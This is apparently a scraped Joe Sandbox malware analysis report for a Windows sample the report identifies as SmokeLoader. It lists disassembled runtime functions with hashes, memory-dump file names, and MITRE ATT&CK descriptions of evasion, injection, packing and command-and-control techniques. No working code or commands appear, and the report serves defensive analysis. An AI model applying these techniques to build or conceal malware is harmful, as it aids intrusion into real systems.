_LocaleUpdate::_LocaleUpdate.LIBCMT ref: 0040FF80
__isleadbyte_l.LIBCMT ref: 0040FFB4
MultiByteToWideChar.KERNEL32(00000080,00000009,00000000,?,00000000,00000000,?,?,?,?,00000000,00000000,00000020), ref: 0040FFE5
MultiByteToWideChar.KERNEL32(00000080,00000009,00000000,00000001,00000000,00000000,?,?,?,?,00000000,00000000,00000020), ref: 00410053

Memory Dump Source

Source File: 00000007.00000002.4143833215.0000000000402000.00000020.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.4143781084.0000000000400000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000007.00000002.4143804647.0000000000401000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000007.00000002.4143833215.000000000041E000.00000020.00000001.01000000.00000005.sdmpDownload File
Associated: 00000007.00000002.4143895137.000000000044B000.00000008.00000001.01000000.00000005.sdmpDownload File
Associated: 00000007.00000002.4143919671.000000000045D000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_tcgiwaf.jbxd

Similarity

API ID: ByteCharLocaleMultiWide$UpdateUpdate::___isleadbyte_l
String ID:
API String ID: 3058430110-0
Opcode ID: 0fe08e492a7b4ff5ea08ac429b4288c07587bbbeb0e40681d3b2b653b8e442b5
Instruction ID: 6f1f2b8560cac9da387ead87ac30bd7774921d8b2c3af18f7002eefdcb8e7388
Opcode Fuzzy Hash: 0fe08e492a7b4ff5ea08ac429b4288c07587bbbeb0e40681d3b2b653b8e442b5
Instruction Fuzzy Hash: E231DD31A00246EFCB20DF64C880EAA7BA5BF06310F15867BF461AB6E1D334DD85DB58

Function 0040D78D Relevance: 6.0, APIs: 4, Instructions: 49COMMON

Download Yara Rule

APIs

__cftof_l.LIBCMT ref: 0040D7B3

Part of subcall function 0040D5D8: __fltout2.LIBCMT ref: 0040D604

__cftog_l.LIBCMT ref: 0040D7D9
__cftoe_l.LIBCMT ref: 0040D80B

Memory Dump Source

Source File: 00000007.00000002.4143833215.0000000000402000.00000020.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.4143781084.0000000000400000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000007.00000002.4143804647.0000000000401000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000007.00000002.4143833215.000000000041E000.00000020.00000001.01000000.00000005.sdmpDownload File
Associated: 00000007.00000002.4143895137.000000000044B000.00000008.00000001.01000000.00000005.sdmpDownload File
Associated: 00000007.00000002.4143919671.000000000045D000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_tcgiwaf.jbxd

Similarity

API ID: __cftoe_l__cftof_l__cftog_l__fltout2
String ID:
API String ID: 3016257755-0
Opcode ID: bfaf9c04f800815b6471d517da42daec28121d5ec88fca071302ba537a085f53
Instruction ID: 76e4944cf1066dc640bca3c999aabeb8e3301f05ae3b73433418f1691f27eaf4
Opcode Fuzzy Hash: bfaf9c04f800815b6471d517da42daec28121d5ec88fca071302ba537a085f53
Instruction Fuzzy Hash: AD11833680014ABBCF125EC4CC41CEE3F26BB0C354B588426FE1869171C73BC9B5AB85

Function 0040BF9F Relevance: 6.0, APIs: 4, Instructions: 31COMMON

Download Yara Rule

APIs

__getptd.LIBCMT ref: 0040BFAB

Part of subcall function 0040978E: __getptd_noexit.LIBCMT ref: 00409791
Part of subcall function 0040978E: __amsg_exit.LIBCMT ref: 0040979E

__getptd.LIBCMT ref: 0040BFC2
__amsg_exit.LIBCMT ref: 0040BFD0
__lock.LIBCMT ref: 0040BFE0

Memory Dump Source

Source File: 00000007.00000002.4143833215.0000000000402000.00000020.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.4143781084.0000000000400000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000007.00000002.4143804647.0000000000401000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000007.00000002.4143833215.000000000041E000.00000020.00000001.01000000.00000005.sdmpDownload File
Associated: 00000007.00000002.4143895137.000000000044B000.00000008.00000001.01000000.00000005.sdmpDownload File
Associated: 00000007.00000002.4143919671.000000000045D000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_tcgiwaf.jbxd

Similarity

API ID: __amsg_exit__getptd$__getptd_noexit__lock
String ID:
API String ID: 3521780317-0
Opcode ID: 9466699e1d6d4f156f53832724690a1e9375424cfaf0cbf22267286efaff49e4
Instruction ID: fb037f692e3fe67861f911b46272c7bec88e35a78bfb52665c800fbba86c3d7a
Opcode Fuzzy Hash: 9466699e1d6d4f156f53832724690a1e9375424cfaf0cbf22267286efaff49e4
Instruction Fuzzy Hash: E5F0FF36954705DAD720BB76884674A72A0EF40719F14427FE440B72D2DB7CA940CE9E

Function 00403FA0 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 102COMMON

Download Yara Rule

APIs

std::_String_base::_Xlen.LIBCPMT ref: 00403FFD
_memcpy_s.LIBCMT ref: 0040405B

Strings

h7@, xrefs: 00403FF5, 00403FDF, 00403FE2, 0040400D, 00404057

Memory Dump Source

Source File: 00000007.00000002.4143833215.0000000000402000.00000020.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.4143781084.0000000000400000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000007.00000002.4143804647.0000000000401000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000007.00000002.4143833215.000000000041E000.00000020.00000001.01000000.00000005.sdmpDownload File
Associated: 00000007.00000002.4143895137.000000000044B000.00000008.00000001.01000000.00000005.sdmpDownload File
Associated: 00000007.00000002.4143919671.000000000045D000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_tcgiwaf.jbxd

Similarity

API ID: String_base::_Xlen_memcpy_sstd::_
String ID: h7@
API String ID: 923394732-1600037422
Opcode ID: 7af812c84f83da7910aacffbf650c5ec9dfb8aff5ddf6e7aab8b77b6688a95a4
Instruction ID: 9566f0d9c998b8a9578f3bf21b14740b123dbd66f40548be3c8be446b7403278
Opcode Fuzzy Hash: 7af812c84f83da7910aacffbf650c5ec9dfb8aff5ddf6e7aab8b77b6688a95a4
Instruction Fuzzy Hash: 1D3124727002008FDB24DE4CD58096BB7BAEFD2710710453FE266AB7D1D735AD4587A9

Function 00404212 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 42COMMON

Download Yara Rule

APIs

_memcpy_s.LIBCMT ref: 00404237

Strings

h7@, xrefs: 00404271
h7@, xrefs: 0040421B, 00404251, 0040423C, 00404230

Memory Dump Source

Source File: 00000007.00000002.4143833215.0000000000402000.00000020.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.4143781084.0000000000400000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000007.00000002.4143804647.0000000000401000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000007.00000002.4143833215.000000000041E000.00000020.00000001.01000000.00000005.sdmpDownload File
Associated: 00000007.00000002.4143895137.000000000044B000.00000008.00000001.01000000.00000005.sdmpDownload File
Associated: 00000007.00000002.4143919671.000000000045D000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_tcgiwaf.jbxd

Similarity

API ID: _memcpy_s
String ID: h7@$h7@
API String ID: 2001391462-3958829557
Opcode ID: 745f913652764fe60ef523a7c6abb404847c15f27414de6a6407b1a095ecf8ff
Instruction ID: b46eb664321361753e2a3a964793c2e7909d50a0e214324b60adf7b2a6979654
Opcode Fuzzy Hash: 745f913652764fe60ef523a7c6abb404847c15f27414de6a6407b1a095ecf8ff
Instruction Fuzzy Hash: 62014CB1610605AFD708DF59D580A6AB375FB85310F0041AEE92567781C739B950CBE9

Function 00409F80 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 37COMMON

Download Yara Rule

APIs

Part of subcall function 00405359: __getptd.LIBCMT ref: 0040535F
Part of subcall function 00405359: __getptd.LIBCMT ref: 0040536F

__getptd.LIBCMT ref: 00409F8F

Part of subcall function 0040978E: __getptd_noexit.LIBCMT ref: 00409791
Part of subcall function 0040978E: __amsg_exit.LIBCMT ref: 0040979E

__getptd.LIBCMT ref: 00409F9D

Strings

csm, xrefs: 00409FAB

Memory Dump Source

Source File: 00000007.00000002.4143833215.0000000000402000.00000020.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.4143781084.0000000000400000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000007.00000002.4143804647.0000000000401000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000007.00000002.4143833215.000000000041E000.00000020.00000001.01000000.00000005.sdmpDownload File
Associated: 00000007.00000002.4143895137.000000000044B000.00000008.00000001.01000000.00000005.sdmpDownload File
Associated: 00000007.00000002.4143919671.000000000045D000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_tcgiwaf.jbxd

Similarity

API ID: __getptd$__amsg_exit__getptd_noexit
String ID: csm
API String ID: 803148776-1018135373
Opcode ID: c0ce1d0d29b3558e020d2f3b56e83e559b5ab269ab1d48ab9c18dd40de057eb7
Instruction ID: 4600f6ba684a5a03787fd611c72d15dee9fc0ede12b87188f0516640ff6938b4
Opcode Fuzzy Hash: c0ce1d0d29b3558e020d2f3b56e83e559b5ab269ab1d48ab9c18dd40de057eb7
Instruction Fuzzy Hash: 4C014636801206CACF38AF25C4946AEB7B5AF14311F68443FF448B66D2DB388D80EF49

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in client applications to execute code. Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.
Tactics:	Execution
Data Sources:	Application Log: Application Log Content, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may set files and directories to be hidden to evade detection mechanisms. To prevent normal users from accidentally changing special files on a system, most operating systems have the concept of a ‘hidden’ file. These files don’t show up when a user browses the file system with a GUI or when using normal commands on the command line. Users must explicitly ask to show the hidden files either via a series of Graphical User Interface (GUI) prompts or with command line switches ( `dir /a` for Windows and `ls –a` for Linux and macOS).
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may delete files left behind by the actions of their intrusion activity. Malware, tools, or other non-native files dropped or created on a system by an adversary (ex: Ingress Tool Transfer ) may leave traces to indicate to what was done within a network and how. Removal of these files can occur during an intrusion, or as part of a post-intrusion process to minimize the adversary's footprint.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Deletion
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report 2Qvkmk7HGr.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: SmokeLoader

Yara Signatures

Memory Dumps

Sigma Signatures

System Summary

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Spreading

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

System Summary

Data Obfuscation

Persistence and Installation Behavior

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Roaming\tcgiwaf

C:\Users\user\AppData\Roaming\tcgiwaf:Zone.Identifier

Static File Info

General

File Icon

Static PE Info

General

Entrypoint Preview

Rich Headers

Data Directories

Sections

Resources

Imports

Possible Origin

Network Behavior

Windows Analysis Report
2Qvkmk7HGr.exe

Function 00401583 Relevance: 10.7, APIs: 7, Instructions: 203
nativeCOMMON

Function 0040158E Relevance: 10.7, APIs: 7, Instructions: 175
nativeCOMMON

Function 004015BC Relevance: 10.7, APIs: 7, Instructions: 163
nativeCOMMON

Function 00403054 Relevance: 3.2, APIs: 2, Instructions: 168
nativethreadCOMMON

Function 00531C87 Relevance: 3.0, APIs: 2, Instructions: 41
processCOMMON

Function 0055003C Relevance: 11.0, APIs: 4, Strings: 2, Instructions: 515
memoryCOMMON

Function 00550E0F Relevance: 3.0, APIs: 2, Instructions: 15
COMMON

Function 00401919 Relevance: 1.3, APIs: 1, Instructions: 79
sleepCOMMON

Function 00401959 Relevance: 1.3, APIs: 1, Instructions: 66
sleepCOMMON

Function 00401970 Relevance: 1.3, APIs: 1, Instructions: 56
sleepCOMMON

Function 00401977 Relevance: 1.3, APIs: 1, Instructions: 56
sleepCOMMON

Function 00401987 Relevance: 1.3, APIs: 1, Instructions: 55
sleepCOMMON

Function 0040198A Relevance: 1.3, APIs: 1, Instructions: 50
sleepCOMMON

Function 00531946 Relevance: 1.3, APIs: 1, Instructions: 48
memoryCOMMON

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre